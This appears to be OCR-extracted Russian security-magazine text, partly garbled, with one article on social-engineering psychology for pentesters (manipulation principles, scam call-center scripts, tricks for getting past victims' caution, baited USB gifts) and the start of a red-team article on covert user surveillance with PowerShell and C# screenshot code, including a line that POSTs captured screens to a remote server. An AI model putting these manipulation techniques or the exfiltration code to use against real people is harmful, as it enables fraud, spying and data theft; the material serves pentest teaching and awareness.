нии мно гих-мно гих лет, но ник то его никог да не перепи сывал и лишь добав- 
лял всё новые и новые фун кции. Раз работ чики и задачи менялись, поэто му
ник то до кон ца не понима ет, что там за легаси-код. В ста рые фичи ник то
не лез, никако го ревью не делал, прос то дописы вали новые, ког да воз никала
необ ходимость. Железо тоже не апгрей дили, и, что бы сох ранять эффектив- 
ность, при ходи лось добав лять опти миза цию путем про пус ка час ти про верок.
Эта кое «спе куля тив ное исполне ние».

Это при ложе ние — наш мозг, раз вивший ся в про цес се эво люции.
За час тую наибо лее уяз вимы те механиз мы, которые наши пред ки исполь- 

зовали для выжива ния на самом ран нем эта пе ста нов ления челове чес кого
общес тва. Пол ностью изба вить ся от это го нас ледия мы не можем, можем
лишь пытать ся кон тро лиро вать себя, зак рывая к ним дос туп на более
высоком уров не мыш ления, но в глу бине каж дый человек уяз вим.

ÊÒÎ ÓßÇÂÈÌÅÅ?

Ког да чита ешь СМИ, кажет ся, что уяз вимее все го пен сионе ры. Но это лишь
потому, что исто рии об обма нутой бабуш ке вызыва ют наиболь ший эмо- 
циональ ный отклик, вот их и исполь зуют в СМИ.

На деле же вот ста тис тика Евро пола по жер твам мошен ничеств, обра тив- 
шимся в полицию:

18–34 года — 27,7%;•
35–54 года — 23,4%;•
55–64 года — 21,7%;•
65+ лет — 18,5%.•

Но ведь мно гие в полицию не обра щают ся, вер но? Поэто му пос мотрим
на ста тис тику, получен ную с жес тких дис ков сер вера быв шего мошен ничес- 
кого кол-цен тра в Бер дян ске:

20–29 лет — 23%;•
30–39 лет — 44%;•
40–49 лет — 19%;•
50–59 лет — 12%;•
60+ лет — 2%.•

Ста тис тика иная, но тоже сов сем не в поль зу молоде жи.
Âîç ðàñò íå óâå ëè÷è âàåò âåðî ÿòíîñòü îáìà íà, à ñêî ðåå íàîáî- 

ðîò.

Óðî âåíü êîã íèòèâ íûõ ñïî ñîá íîñòåé? Íå âëè ÿåò.

Сов мес тное иссле дова ние нес коль ких аме рикан ских вузов с учас- 
тием 1220 человек не обна ружи ло кор реляции меж ду уров нем ког нитив ных
спо соб ностей и веро ятностью стать жер твой мошен ничес тва.

От дель но сто ит вспом нить кейс 68-лет него спе циалис та по физике эле- 
мен тарных час тиц Пола Фрэм пто на, кан дидата на Нобелев скую пре мию. Его
с помощью баналь ного мошен ничес тва через сайт зна комств зас тавили поп- 
робовать про вез ти через гра ницу чемодан с дву мя килог рамма ми кока ина!
Неудач но для него.

Ñïå öèàëèñ òû ïî áåçîïàñ íîñòè íàèáî ëåå «óñòîé ÷èâû» ê ñîöè- 

àëü íîé èíæå íåðèè? Íå ñîâ ñåì.

С одной сто роны, мы, инте ресу ющиеся соци аль ной инже нери ей, обра- 
щаем вни мание на подоб ные тех ники и нам про ще их заметить. Одна ко нас
в какой-то сте пени «ослепля ет» эффект свер хуверен ности. Мы убеж дены, что
сами уж точ но всё пой мем и на нас-то это не сра бота ет! Это извес тное ког- 
нитив ное иска жение, которое про явля ется во мно жес тве про фес сий. К при- 
меру, по ста тис тике:

опыт ные водите ли чаще попада ют в серь езные ава рии;•
опыт ные плов цы тонут чаще;•
опыт ные элек три ки чаще получа ют трав мы от уда ров током.•

Âû âîä: ñ ïîìîùüþ ñîöè àëü íîé èíæå íåðèè ìîæ íî ýôôåêòèâ íî

ïðî âîäèòü àòà êè íà ëþáûå ñîöè àëü íûå ãðóï ïû, âàæ íî ëèøü ñîç- 

äàâàòü ïîä õîäÿùèå ñöå íàðèè.

О сце нари ях мы погово рим далее.

ÓßÇÂÈÌÀß ÎÏÒÈÌÈÇÀÖÈß

Объ ем нашего моз га не менял ся уже нес коль ко тысяч лет. Пред ставь, что
у зем ледель ца из Древ ней Гре ции мозг был точ но таким же. Но объ ем
информа ции, которую он обра баты вал ежед невно, не идет ни в какое срав- 
нение с сов ремен ной наг рузкой. И бла года ря прог рессу она рас тет гораз до
быс трее, чем эво люци онно подс тра ивает ся наше «железо».

Как же наш мозг справ ляет ся с этим? Исполь зует уже вырабо тан ный нес- 
коль ко тысяч лет назад механизм опти миза ции 

. СПП поз воля ет нам при нимать решения 

 ситу ации на осно вании прош лого опы та и неко его про воци рующе го
фак тора. Это зна читель но эко номит ресур сы, уво дит рутин ные про цес сы
в «фоновый режим» и поз воля ет заод но обду мывать что-то. Это корот кий путь
обра бот ки информа ции, в то вре мя как ана лиз — длин ный. Нашим пред кам
такая опти миза ция неод нократ но помога ла и спа сала жиз ни в ситу ациях, где
на ана лиз не было вре мени. Эво люци онно это выгод но!

ñòå ðåîòèï íî�ïîñ ëåäîâà- 

òåëü íîå ïîâåäå íèå (ÑÏÏ) áåç

àíà ëèçà

Ав томати чес кая, сте реотип ная фор ма поведе ния пре вали рует над все ми
осталь ными фор мами поведе ния, потому что она энер госбе рега ющая
и самая эффектив ная в боль шинс тве слу чаев. Она поз воля ет эко номить огра- 
ничен ные ресур сы моз га.

От него нель зя ожи дать, что он успе ет про ана лизи ровать и обду мать все
аспекты жиз ни, все события, ситу ации, кон такты даже в рам ках одно го дня
любого из нас. Он быс тро клас сифици рует событие по клю чевым деталям
(про воци рующим фак торам) и реаги рует.

Но ког да это поведе ние нас под водит? В тех ситу ациях, ког да наш опти- 
мизи рован ный мозг выбира ет на осно вании про воци рующе го фак тора
невер ную модель поведе ния. Ошиб ка клас сифика ции.

При мер. Соци аль ный пси холог из Гар варда Эллен Лан гер про вела экспе- 
римент «Оче редь к ксе рок су». По нему человек пытал ся прой ти к копиро валь- 
ному аппа рату без оче реди, исполь зуя для это го три вида просьб:

Без объ ясне ния при чины («Мож но я прой ду без оче реди?») — 60%
положи тель ных отве тов.

•

С логич ным объ ясне нием («Мож но я прой ду без оче реди? Потому что я
очень тороп люсь и у меня все го пара стра ниц») — 94% положи тель ных
отве тов.

•

С иллю зией объ ясне ния («Мож но я прой ду без оче реди? Потому что мне
нуж но сде лать копии») — 93% положи тель ных отве тов!

•

Про воци рующим фак тором в этой ситу ации было не само объ ясне ние и его
обос нован ность, а лишь наличие объ ясне ния — союз «потому что». Мы уяз- 
вимы к уль тра нор маль ным сиг налам — про воци рующим фак торам, и эту уяз- 
вимость мож но экс плу ати ровать, даже для вызова поведе ния, про тиво реча- 
щего здра вому смыс лу.

DOS ÌÎÇÃÀ

Са мый прос той спо соб вклю чить «энер госбе рега ющий режим» — эмо- 
циональ но или сен сорно перег рузить мозг челове ка.

Эмо циональ ная перег рузка опи рает ся на силь нейшие эмо ции, вызыва- 
ющие стресс или эйфо рию. Напугать, ввес ти в тре вож ное сос тояние —
и жер тва будет гораз до хуже про тиво дей ство вать и сооб ражать, будет
работать на авто мате в соот ветс твии со сво ими авто мати чес ки-сте реотип- 
ными реак циями. Мож но, конеч но, и силь но обра довать, но обыч но слож нее
это го дос тичь и под держи вать эффект.

Сен сорная перег рузка работа ет ина че, и ее мож но исполь зовать сов мес- 
тно с эмо циональ ной. Она базиру ется на перег рузке информа цией из раз ных
источни ков, которой ста новит ся слиш ком мно го, что бы обра ботать. Голова
очень пло хо сооб ража ет, ког да ты пишешь какой-то документ, тебя отвле кает
воп росами кол лега, а где-то на фоне при ходят еще и уве дом ления от телег- 
рама. Часть каналов мозг будет затыкать имен но при помощи СПП. В таком
сос тоянии и на ссыл ку лег ко нажать, и ввес ти дан ные не туда, и доверить ся
зво няще му тебе по телефо ну.

Та ким методом час то дей ству ют груп пы цыган. Исполь зовать сочета ние
из эмо циональ ной и сен сорной перег рузки — это их клас сика. Вок руг жер твы
кру жит ся тол па, хва тают за руки и дер гают за сум ку дети, говорят в нес коль ко
голосов, осо бен но выделя ют страш ные сло ва «беда у тебя». Это называ ют
«цыган ский гип ноз», но на деле их задача — выз вать СПП, а даль ше под- 
держи вать эффект. Вый ти из подоб ного сос тояния самос тоятель но может
быть слож но, и луч шая защита — не дать себя пер воначаль но задосить.

Â îáî èõ ñëó ÷àÿõ êðè òè÷åñ êîå ìûø ëåíèå, êàê êðàé íå ýíåð ãîçàò- 

ðàòíûé äëÿ ìîç ãà ïðî öåññ, áóäåò çíà ÷èòåëü íî ñíè æåíî èëè âîâ ñå

îòêëþ ÷åíî.

ÍÀÈÁÎËÅÅ ÏÐÈÌÅÍÈÌÛÅ ÏÑÈÕÎËÎÃÈ×ÅÑÊÈÅ ÝÊÑÏËÎÈÒÛ

Пси холо гия вли яния опи сыва ет мно жес тво прин ципов, которые исполь зуют ся
пов семес тно: в мар кетин ге и рек ламе, про дажах, полит техно логи ях, пси холо- 
гии и терапии и мно гих дру гих областях. Но для хакера, сос тавля юще го текст
рас сылки или скрипт для телефон ного фишин га, будут при мени мы лишь три
из них:

прин цип авто рите та;•
прин цип дефици та;•
прин цип пос ледова тель нос ти.•

Ïðèíöèï àâòîðèòåòà

Че ловек скло нен к тому, что бы ори енти ровать ся на экспер тов в той области,
в которой сам недос таточ но ком петен тен. Мы авто мати чес ки боль ше доверя- 
ем тем, кто, по нашему мне нию, более ква лифи циро ван, богат или успе шен.
Но как про верить авто ритет? В этом и кро ется глав ная уяз вимость.

Фей ковый авто ритет мож но под держи вать с помощью внеш них приз наков.
Люди в белых халатах по телеви зору изоб ража ют сто мато логов и рек ламиру- 
ют зуб ную пас ту, инфо цыга не про дают «успешный успех», позируя в высот ках
Дубая и дорогих тач ках, которые зачас тую сня ты лишь на час для фотосес сии.
Одна извес тная сеть рес торанов исполь зовала акте ра, игравше го
шеф-повара в популяр ном сери але «Кух ня», для рек ламы. Ведь для боль- 
шинс тва в голове он «шеф», а не актер, а зна чит, пло хой рес торан не посове- 
тует!

Хо роший при мер демонс тра ции это го прин ципа — экспе римент Мил грэ- 
ма. Его про води ли в 1963 году в Йель ском уни вер ситете, и про води ли в нес- 
коль ко эта пов, меняя усло вия. В нем было наг лядно показа но, что испы- 
туемые вне зависи мос ти от усло вий в боль шинс тве слу чаев повину ются авто- 
рите ту, нарушая даже свои мораль ные прин ципы.

Эво люци онно мы раз деляли виды тру да и при вык ли доверять экспер там.

Ïðèíöèï äåôèöèòà

Здесь речь о желании того, что недос тупно, бояз ни упус тить или потерять
что-то. Люди всег да боль ше ценят то, что нель зя при обрести. Кажет ся, что
вещи, которые быс тро рас купа ют и слож но най ти, более полез ны.

В СССР дефицит ный товар и осо бен но товар из-за гра ницы казал ся
более цен ным и полез ным, даже если усту пал по свой ствам дос тупным
совет ским. Акции «оста лось все го три шту ки» на мар кет плей сах экс плу ати- 
руют тот же эффект.

Ког да я работал пен тесте ром в одном извес тном интегра торе в Мос кве, я
ежед невно выходил из мет ро «Савелов ская» и про ходил мимо магази на
одеж ды. И каж дый день у него висели бан неры о «лик видации», гром когово- 
рите ли кри чали, что имен но сегод ня «пос ледний день зак рытия магази на».
Но это «сегод ня» затяну лось на целый год, пос ле чего магазин прос то про вел
реб рендинг. На кого была рас счи тана рек лама? На тех, кто видит вывес ку
впер вые, и, судя по ста биль ному потоку покупа телей, трюк работал.

Ма нипу ляции в духе «вы можете потерять» тоже отно сят ся к прин ципу
дефици та. Жизнь при учи ла наших пред ков не упус кать воз можнос ти добыть
что-то, пока это дос тупно, и запасать ся.

Ïðèíöèï ïîñëåäîâàòåëüíîñòè

Это один из самых неоче вид ных и эффектив ных прин ципов манипу ляций.
Эво люци онно мы боль ше стре мим ся быть пос ледова тель ными, чем пра выми.
Кажет ся чушью, но общес тво край не поощ ряет пос ледова тель ность во взгля- 
дах. Человек, пос тоян но меня ющий свое поведе ние, свои взгля ды или,
как час то сей час говорят, «пере обу вающий ся», счи тает ся ненадеж ным, дву- 
лич ным, лег комыс ленным. Такое поведе ние осуж далось и осуж дает ся общес- 
твом до сих пор. Человек пос ледова тель ный ассо циирует ся с надеж ностью,
пред ска зуемостью, ему боль ше сим патизи руют, даже если он в ито ге ока- 
зыва ется не прав.

При дер живать ся одной линии поведе ния для челове ка край не соб лазни- 
тель но, ведь это поз воля ет не разоча ровы вать ся или сом невать ся в себе,
наобо рот, под креп ляет уве рен ность. И несом ненно, поз воля ет гораз до
мень ше думать! Ведь такой путь гораз до эко номич нее, а зна чит, имен но
к такому поведе нию нас тол кает сте реотип но-пос ледова тель ное поведе ние.
Мораль но про ще идти до кон ца и ва-банк, и, кста ти, имен но с этим прин- 
ципом в пер вую оче редь ста рают ся бороть ся игро ки в покер!

Мно жес тво экспе римен тов под твержда ют вли яние прин ципа пос ледова- 
тель нос ти. Нап ример, соци аль ный пси холог Пат риция Пли нер про води ла
экспе римент, в котором сна чала про сила испы туемых носить зна чок «Под- 
держи общес тво по борь бе с онко логи ей», а потом внес ти пожер тво вание
в одно имен ный фонд. Сре ди тех, кто носил зна чок, жела ющих внес ти пожер- 
тво вание было в два раза боль ше, чем в груп пе, которую не про сили носить
зна чок.

При чем пос ле негатив ной обратной свя зи веро ятность и желание «дой ти
до кон ца» воз раста ет. Нап ример, однажды иссле дова тели приш ли на псев- 
дона учный семинар, где слу шате лям обе щали реали зацию их желаний
и изле чение от всех болез ней, если они купят опре делен ный курс. В кон це
семина ра иссле дова тели начали активно задавать воп росы, под черки- 
вающие несос тоятель ность всех аргу мен тов мошен ников, но выз вали тем
самым сов сем не ту реак цию, которую ожи дали.

Слу шате ли семина ра с каж дым сле дующим воп росом все активнее шли
и отда вали свои день ги! Люди начина ли ощу щать, что их меч ты и иллю зии
рушат ся, они боялись потерять шанс и шли до кон ца. Страх разоча рова ния
рож дал стресс, вклю чалось СПП, и стрем ление к пос ледова тель нос ти под- 
меняло кри тичес кое мыш ление — в том чис ле к собс твен ным дей стви ям!

ÝÊÑÏËÓÀÒÀÖÈß

Как же исполь зовать эти прин ципы, СПП и про воци рующие фак торы
для манипу ляций в кон тек сте соци аль ной инже нерии?

Оче вид но, что наиболь ший эффект подоб ные тех ники показы вают имен но
в фишин говых звон ках, ведь зво нок поз воля ет пол ноцен но выс тро ить пос- 
ледова тель ность дей ствий и общать ся с жер твой в нес коль ко эта пов.

При поч товом фишин ге эти тех ники помога ют более тон ко сос тавить
фишин говое пись мо. Тог да его кон версия име ет шан сы прев зой ти показа- 
тели стан дар тных сце нари ев.

Ïèñüìà è ïðàâèëî 7%

В ходе мно жес тва про ектов по соци отех ничес кому тес тирова нию на про ник- 
новение мы с кол легами неод нократ но замеча ли, что на объ емах боль- 
ше 1000 писем не менее 70 получа телей обя затель но откро ют пись мо
и выпол нят целевое дей ствие.

Про цент мог быть и выше, но, даже если ком пания активно занима лась
обу чени ем сот рудни ков про тиво дей ствию фишин гу, с учеб ными рас сылка ми
и пере обу чени ями попав шихся, про цент не падал ниже семи. Какие бы обу- 
чающие активнос ти и орга низа цион ные меры ком пания ни вво дила, добить ся
сни жения не уда валось. Почему?

По тому что 7% поль зовате лей на момент рас сылки были в уяз вимом сос- 
тоянии, они были в сен сорной или эмо циональ ной перег рузке! СПП отклю- 
чало их кри тичес кое мыш ление, и до ана лиза пись ма мозг прос то не доходил,
а без ана лиза все тре нин ги и обу чения не помога ют.

Но, как ты понима ешь, про цент мож но было под нять выше, если спро- 
воци ровать подоб ные сос тояния уже самим пись мом. Пись ма, про воци- 
рующие стресс или эйфо рию, всег да наибо лее эффектив ны.

Òåìíàÿ ñòîðîíà òåëåôîííîãî ôèøèíãà

Луч ший, хоть и негатив ный при мер эффектив ного телефон ного фишин га —
это мошен ничес кие кол-цен тры. Они сущес тву ют с 2014 года и отто чили свои
сце нарии и тех нику с фокусом на мас совые ата ки. Опре делен ный про цент их
жертв, находясь в уяз вимом сос тоянии в момент под нятия труб ки, —
это гаран тирован ный зарабо ток. Их схе мы нам кажут ся прос тыми и смеш- 
ными, но они и не рас счи таны на вклю чен ное кри тичес кое мыш ление и ана- 
лиз. Они нацеле ны на опре делен ный про цент людей, у которых сра бота ет
СПП.

Да вай на их при мере раз берем наибо лее эффектив ные тех ники и при емы
при фишин говых звон ках. Вот как мошен ники акти виру ют СПП:

С помощью стрес са и стра ха. Сце нарии с «сот рудни ком бан ка» и тем
более с «сот рудни ком пра воох ранитель ных орга нов» авто мати чес ки
вызыва ют стресс.

•

Не дают положить труб ку, момен таль но перез ванива ют. Выматы вают
самим звон ком, могут дер жать на труб ке часами.

•

Уси лива ют дав ление по ходу звон ка, торопят.•

Са мые све жие сце нарии вклю чают СПП с помощью сооб щения с фей кового
акка унта руководс тва, без вре мени на переп ровер ку.

Так же мошен ники активно исполь зуют прин цип дефици та, нап ример
говорят о воз можнос ти потерять день ги, если не помогать. Иног да даже
пред лага ют какую-то наг раду за «помощь следс твию».

Ис поль зуют прин цип авто рите та:
Го ворят мак сималь но усложнен ными фор мулиров ками и тер минами, пос- 
ле чего спра шива ют: «Вам все понят но?», под черки вая свою экспертность
и заг ружая мозг жер твы. При мер из реаль ного звон ка: «Пос ле вашего
голосо вого отка за мы сфор мирова ли про токол, который обя зует про вес ти
обновле ние дан ных по сис темам безопас ности на юри дичес ком уров не
и пре дос тавить вам пол ную замену рек визитов вашего сче та для более
безопас ного поль зования средс тва ми в сис теме нашего бан ка. Это вам
понят но?»

•

Пред став ляют ся как сот рудни ки мак сималь но могущес твен ных ведомств
(ФСБ, СК РФ, ЦБ РФ), сооб щают неп роверя емые ФИО и зва ния.

•

Ак тивно исполь зуют прин цип пос ледова тель нос ти:
В начале зада ют исклю читель но безопас ные для жер твы воп росы. «Теряли
ли вы пас порт в пос леднее вре мя?» и про чие.

•

Да лее перехо дят к воп росам без однослож ных отве тов, но все
еще безопас ных для жер твы. «Какими бан ками вы еще поль зовались?»,
«Куда вы пре дос тавля ли ваши пас пор тные дан ные за пос леднее вре мя?»

•

Да лее к более опас ным воп росам и безопас ным дей стви ям. «Пос мотри те,
какие плас тиковые кар ты у вас сей час на руках», «Возь мите руч ку
и запиши те мое ФИО, я сле дова тель... отдел № 7 УВД ... рай она».

•

Жер тва при выка ет отве чать на воп росы и делать какие-то дей ствия
по указ ке, гра дус опас ности дей ствий и отве тов повыша ется. Жер тве всег- 
да сооб щают лишь о сле дующем дей ствии, пол ностью замысел не рас- 
кры вает ся. Даже, казалось бы, в оче вид ных ситу ациях.

•

При попыт ках соп ротив ления уси лива ют пос ледова тель ность б ль шим

количес твом воп росов и дей ствий, помимо уси ления эмо циональ ного
дав ления.

• î

Имен но пос ледова тель ность поз воля ет под вести жер тву к столь опас ным
пос тупкам, как совер шение под жогов (более 30 слу чаев
за 2022 и 2023 годы).

•

К сло ву, подоб ные груп пы работа ют не толь ко в Евро пе и СНГ, не мень ше
зво нят и граж данам Южной Кореи. Это обще миро вой тренд.

Òåõíèêè îáõîäà òðèããåðîâ

У боль шинс тва поль зовате лей есть похожий набор триг геров, которые сра- 
баты вают даже при СПП. Это, как пра вило, прос тей шие инс трук ции, которые
вызыва ют авто мати чес кую реак цию. Но триг геры эти воз можно обой ти:
1. Пра вило «никому не говори те свой пароль» обхо дит ся лег ко: пен тестер

может, к при меру, отпра вить ссыл ку для генера ции «безопас ного» пароля
(стра ница по ссыл ке будет содер жать лог гер). Либо поп росить жер тву
выпол нить коман ду коман дной стро ки, которая не будет понят на жер тве,
но при ведет к сме не пароля.

2. Пра вило всег да про верять, кто пишет или зво нит, обхо дит ся под писью
в пись ме или пред став лени ем в самом начале звон ка. Сами ФИО пой дут
про верять еди ницы.

3. Эф фект пер вого или неожи дан ного звон ка всег да вызыва ет нас торожен- 
ность, но если сде лать такой зво нок крат ким и мак сималь но безопас ным,
а затем пообе щать при необ ходимос ти перез вонить, то на вто ром звон ке
эффект прой дет уже через 10–15 минут. Эта тех ника называ ется «двой ное
касание».

4. Стро гие пра вила ком пании мож но поп робовать обой ти выводом жер твы
за рам ки рабоче го кон тек ста. Нап ример, на пен тесте мы с кол легами при- 
сыла ли сот рудни цам заказ чика цве ты в офис с лич ным подар ком «от пок- 
лонни ка» в виде флеш ки, перевя зан ной лен той. Любопытс тво было нас- 
толь ко велико, а подарок нас толь ко не ассо цииро вал ся с работой,
что 100% получа тель ниц не доноси ли ее до дома и встав ляли в рабочий
компь ютер. Ана логич но и с ком муника цией в мес сен дже рах и соци аль ных
сетях: они вос при нима ются исклю читель но как лич ные, вне рабоче го кон- 
тек ста.

ÇÀÙÈÒÀ

Для ком паний луч ший спо соб защиты от при мене ния соци аль ной инже- 
нерии — это исполь зовать и орга низа цион ные, и тех ничес кие меры одновре- 
мен но, а еще допол нить их опе ратив ным реаги рова нием.

Ор ганиза цион ными мерами мож но сни зить про цент попав шихся на улов ку
поль зовате лей при мер но до 7%. Эффектив ные тех ничес кие меры могут пре- 
дот вра тить даль нейшие дей ствия попав шихся на рас сылку или звон ки поль- 
зовате лей. Но все же при пра виль ной «работе» с поль зовате лем соци аль ный
инже нер спо собен обой ти мно гие тех ничес кие меры. В таком слу чае в ход
идет опе ратив ное реаги рова ние на инци дент.

А как защищать ся от подоб ного обыч ному челове ку?
Не боять ся быть неудоб ным при раз говорах по телефо ну. Хамить и отка- 
зывать безопас нее.

•

При учить себя отсле живать свое пог ружение в стресс и сте реотип ное
поведе ние. Стресс заметен всег да, нуж но ста рать ся не при нимать никаких
решений под стрес сом, толь ко пос ле передыш ки.

•

Сле дить за пос ледова тель ностью дей ствий, не ввя зывать ся в сом нитель- 
ные ком муника ции.

•

Об ращать вни мание на манипу ляции, которые мы обсу дили, научить ся их
замечать в пов седнев ной жиз ни.

•

Бро сать труб ку при подоз ритель ных звон ках и не пытать ся про верить зво- 
няще го! Если ты бро сишь труб ку, шанс того, что тебя обма нут, ста новит ся
рав ным нулю, но, если будешь трол лить или про верять зво няще го, он ста- 
нет ненуле вым.

•

ÂÛÂÎÄÛ

Пен тесте ру в ходе любых про ектов по фишин гу сто ит дер жать в голове
основные момен ты:

Пос ледова тель ность — твой друг, с каж дым дей стви ем жер тве будет
слож нее ее оста новить. Это силь нейший вид манипу ляции, но он тре бует
вре мени и тер пения!

•

Те бе не нуж но про ходить все про вер ки жер твы и сос тавлять иде аль ный
сце нарий! Если тебя нач нут про верять, зна чит, ты уже про играл.

•

Ввод жер тву в сос тояние сте реотип но-пос ледова тель ного поведе ния —
луч ший спо соб отклю чить кри тичес кое мыш ление и пре дот вра тить «про- 
вер ки».

•

Об ход самых рас простра нен ных триг геров упро щает дос тижение цели.•
Ис поль зуй прин цип авто рите та, луч ше казать ся не сов сем понят ным про- 
фес сиона лом.

•

При меняй прин цип дефици та, если он умес тен в сце нарии.•
Для про вока ции СПП стресс гораз до про ще под держи вать, чем эйфо рию.
Но УК РФ дей ству ет и во вре мя пен теста, и часть методов (нап ример, шан- 
таж) перехо дят чер ту. Пом ни об этом!

•

Рас сылки сто ит про водить в наибо лее заг ружен ные дни и вре мя, тог да
тебе на руку будет играть сен сорная перег рузка сот рудни ков.

•

Кре атив важен, если ты понима ешь, что имен но у тебя в «соци опей лоаде».•

Тар гетиро ван ные ата ки, к сожале нию, выходят за рам ки этой статьи. Заранее
изу чив кон крет ную пер сону, ты можешь зна читель но повысить шан сы
на успех. Но по моей прак тике такие услу ги заказы вают дос таточ но ред ко,
а для мас совых атак наша инди виду аль ность слиш ком нез начитель на.

Не сущес тву ет ни одной тех ники или сце нария, которые бы гаран тирова ли
успех, но не сущес тву ет и гаран тирован ной защиты от подоб ных атак. Все мы
оста нем ся уяз вимы, это слиш ком глу боко в нас заложи ла эво люция.

И не могу не напом нить, что боль шая сила — это боль шая ответс твен- 
ность! Не исполь зуй матери ал статьи во вред.
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КОДИНГ

При ред тимин ге иног да при ходит ся изу чать
обста нов ку не толь ко внут ри сети, но и
за ее пре дела ми. В час тнос ти, по ту сто- 
рону монито ра. Работа ет ли кто-то
за устрой ством в текущий момент, какое
окно откры то, что говорят в мик рофон.
Давай пос мотрим, как мож но, исполь зуя
легитим ные воз можнос ти сис темы, сле дить
за ничего не подоз рева ющим поль зовате- 
лем.

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Боль шая часть того, что мы реали зуем в этой статье, есть толь ко в Metasploit
и в Cobalt Strike. Пер вый написан на Ruby, а исходни ки вто рого зак рыты. Дру- 
гих реали заций я с ходу и не назову, а ведь хочет ся иметь корот кие и акку рат- 
ные при меры кода, которые мож но без проб лем добавить в собс твен ную
прог рамму.

Впро чем, у меня получи лось самос тоятель но все реали зовать на C#,
а некото рые прог раммы — на C++ и PowerShell.

Продолжение статьи →

https://t.me/Michaelzhm


КАК УСТРОЕНЫ СРЕДСТВА
СЛЕЖЕНИЯ ЗА ПОЛЬЗОВАТЕЛЯМИ

КОДИНГ  НАЧАЛО СТАТЬИ←

ÑÊÐÈÍØÎÒ ÐÀÁÎ×ÅÃÎ ÑÒÎËÀ

Пер вооче ред ная задача — скрин шоты. Нуж но уви деть, что откры то у текуще го
поль зовате ля, в каких прог раммах он работа ет и чем сей час занима ется.

Ка залось бы, такая три виаль ная задача дает ся в вось мом клас се в качес- 
тве лет ней домаш ки на пас кале, но не тут-то было. Авто ры мно жес тва реали- 
заций забыва ют об одной инте рес ной детали. Догадал ся, о какой?

По ка дума ешь, покажу тебе при мер кода на PowerShell. Даже с его
помощью мож но сде лать скрин шот текуще го рабоче го сто ла.

# Отправляем нажатие клавиши Print Screen, которое сделает скриншот 
всех экранов
[Windows.Forms.SendKeys]::SendWait("{PRTSC}")

# Даем системе время, чтобы обработать нажатие клавиши и получить 
изображение в буфер обмена
Start-Sleep -Milliseconds 250

# Получаем изображение из буфера обмена
$img = [Windows.Forms.Clipboard]::GetImage()

# Сохраняем изображение в файл
$filePath = "C:\1.png"
$img.Save($filePath, [System.Drawing.Imaging.ImageFormat]::Png)

# Выводим информацию о местоположении сохраненного файла
Write-Host "Скриншот сохранён в файле: $filePath"

Ус пешный сни мок экра на

Скрипт работа ет пре дель но прос то — ими тиру ет нажатие кноп ки Print Screen.
В интерне те мож но даже встре тить вари ант с авто мати чес кой отправ кой

кар тинки на веб-сер вер.

[Windows.Forms.Sendkeys]::SendWait("{PrtSc}")
Start-Sleep -Milliseconds 250
$x = New-Object System.IO.MemoryStream
[Windows.Forms.Clipboard]::GetImage().Save($x, [System.Drawing.
Imaging.ImageFormat]::Png)
Invoke-WebRequest -Uri "http://10.10.10.10:8080/upload?test.png" 
-Method POST -Body ([Convert]::ToBase64String($x.ToArray()))

От прав ка изоб ражения на веб-сер вер

Ну как, догадал ся, что не учел автор? У поль зовате ля может быть нес коль ко
монито ров! Нап ример, как у меня.

Два монито ра

Что, если хит рый сисад мин ута щил к себе нес коль ко монито ров и поль зует ся
ими в свое удо воль ствие? Мы из-за это го рис куем упус тить важ ную информа- 
цию из виду!

Ка бинет про фес сиональ ного адми нис тра тора

Это нак ладыва ет некото рые огра ниче ния на выбор наших инс тру мен тов. Если
прос то слать нажатие Print Screen через , то получа ем изоб- 

ражение с текуще го монито ра, что нас не устра ивает.

Windows.Forms

По лучить кар тинку со всех экра нов мож но, если обра тить ся к свой ству
. Оно лежит в . На выходе я хочу

получить один боль шой скрин шот, содер жащий изоб ражения со всех монито- 
ров, поэто му не обой тись без .

AllScreens System.Windows.Forms.Screen

System.Drawing
Мы соз дадим рас тро вое изоб ражение (bitmap), а затем добавим на него

скрин шот с каж дого экра на. Получить изоб ражение с экра на мож но через
метод .CopyFromScreen()

 using System;
 using System.Drawing;
 using System.Drawing.Imaging;
 using System.Windows.Forms;

 class Program
{
     static void Main()
   {
       // Определяем общую область для всех экранов

          Rectangle totalSize = Rectangle.Empty;
           foreach (Screen screen in Screen.AllScreens)

       {
              totalSize = Rectangle.Union(totalSize, screen.Bounds);

       }

       // Создаем новый битмап с размерами общей области
             using (Bitmap bmpScreenCapture = new Bitmap(totalSize.Width,

totalSize.Height))
       {
           // Создаем графический объект для битмапа

               using (Graphics g = Graphics.FromImage(bmpScreenCapture))
           {
               // Копируем каждый экран по отдельности

                   foreach (Screen screen in Screen.AllScreens)
               {
                   g.CopyFromScreen(screen.Bounds.X,
                                    screen.Bounds.Y,

                                      screen.Bounds.X - totalSize.X,
                                      screen.Bounds.Y - totalSize.Y,

                                    screen.Bounds.Size,
                                    CopyPixelOperation.SourceCopy);
               }
           }

           // Сохраняем битмап в файл
              string filename = "screenshot_all.png";

            bmpScreenCapture.Save(filename, ImageFormat.Png);
           Console.WriteLine($"Скриншот всех экранов сохранен как {
filename}");
       }
   }
}

Ус пешный зах ват экра на

Об рати вни мание, что бла года ря методу  изоб ражения

рас положе ны на хол сте в соот ветс твии с нас трой ками монито ров. У меня
в сис теме монито ры рас положе ны, как на скрин шоте ниже.

Rectangle.Union()

Рас положе ние монито ров

Ес ли перед винем один экран, то изме нит ся и рас положе ние изоб ражений
на сним ке.

Из менение рас положе ния

Из менен ное положе ние изоб ражений

Ту же логику мож но реали зовать и на PowerShell.

$ScriptBlock = {
   Add-Type -AssemblyName System.Drawing
   Add-Type -AssemblyName System.Windows.Forms

   $bounds = [System.Drawing.Rectangle]::Empty
   foreach ($screen in [System.Windows.Forms.Screen]::AllScreens) {
       $bounds = [System.Drawing.Rectangle]::Union($bounds, $screen.
Bounds)
   }

   $bmp = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.
Height
   $graphics = [System.Drawing.Graphics]::FromImage($bmp)
   $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point
]::Empty, $bounds.Size)

   $bmp.Save('C:\1.png', [System.Drawing.Imaging.ImageFormat]::Png)

   $graphics.Dispose()
   $bmp.Dispose()
}

$Runspace = [runspacefactory]::CreateRunspace()
$Runspace.Open()
$PowerShell = [powershell]::Create().AddScript($ScriptBlock)
$PowerShell.Runspace = $Runspace
$PowerShell.Invoke()
$Runspace.Close()

